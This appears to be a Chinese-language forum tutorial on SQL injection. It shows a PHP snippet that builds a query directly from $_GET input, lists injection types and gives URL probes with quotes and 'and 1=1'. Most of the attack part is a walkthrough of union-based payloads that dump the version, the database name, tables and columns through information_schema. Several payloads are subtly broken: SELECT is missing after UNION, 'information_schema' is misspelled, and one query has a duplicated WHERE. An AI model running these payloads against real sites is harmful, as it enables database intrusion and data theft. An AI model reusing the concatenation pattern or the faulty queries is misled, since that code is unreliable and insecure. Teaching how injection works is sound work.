sql 注入原理
sql 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者判断,前端传入的参数是攻击者可以控制的,并且参数可以带入数据库中执行,攻击者可以通过构造恶意的 sql 语句来实现对数据库进行任意操作
#$id= 1
$id = $_GET['id']
$sql = 'select * from user where id ="$id" limit 0,1'
#查找user表中id=1的第一行数据
sql 注入漏洞产生的条件:
- 参数用户可控:前端传入的参数由用户控制
- 参数带入到数据库语句中执行:传入的参数拼接到 SQL 语句中,并带入数据库中执行
sql 注入类型
按注入点分:
- 数字型
- 字符型
- 搜索
按提交方式分:
- GET
- POST
- HEAD
- COOKIE
按执行效果分:
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
总结来说有:
联合注入,布尔注入,报错注入,时间注入,堆叠注入,二次注入,宽字节注入,cookie 注入..
如何判断测试点是否存在 sql 注入
GET 型:
1.在 url 链接中附加一个单引号,如:
http://xxx.xxx.xxx/abc.php?p=1'
此时 abc.php 中的 SQL 语句变成了
select * from 表名 where p = '1''
#结果为abc.php运行异常
2.在 url 链接中附加字符串'and 1=1,如:
http://xxx.xxx.xxx/abc.php?p=1' and 1=1
测试结果为 abc.php 正常运行,以及结果与 http://xxx.xxx.xxx/abc.php?p=1'的结果一致
3.在 url 中附加字符串'and 1 = 2,如:
http://xxx.xxx.xxx/abc.php?p=1' and 1=2
结果为 abc.php 运行异常
以上三种情况可测试 abc.php 中是否存在 SQL 注入漏洞
GET 类型无防护注入
#预估的sql语句
select * from user where id =1
#判断这个user表,查询的出来的内容有多少个字段
select * from user where id =1 order by 4
#判断到字段数为4个,就可以利用union来查询显示位(id=-1是让页面显示我们后面查询的1,2,3,4,由此判断哪些会位置会在页面显示)
select * from user where id =-1 union select 1,2,3,4
#拿敏感数据([version():版本信息],[database():数据库名])
select * from user where id =-1 union 1,2,version(),database()
#获取当前数据库中的一些表信息--->爆表
union 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
#获取所需表中的字段-->爆字段
union 1,2,3,group_concat(column_name) from informatioin_schema.columns where table_schema=database() where table_name = '所需表的名字'
#获取表中的值
union 字段1,字段2,字段3,字段4 from 表名 limit 0,1
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于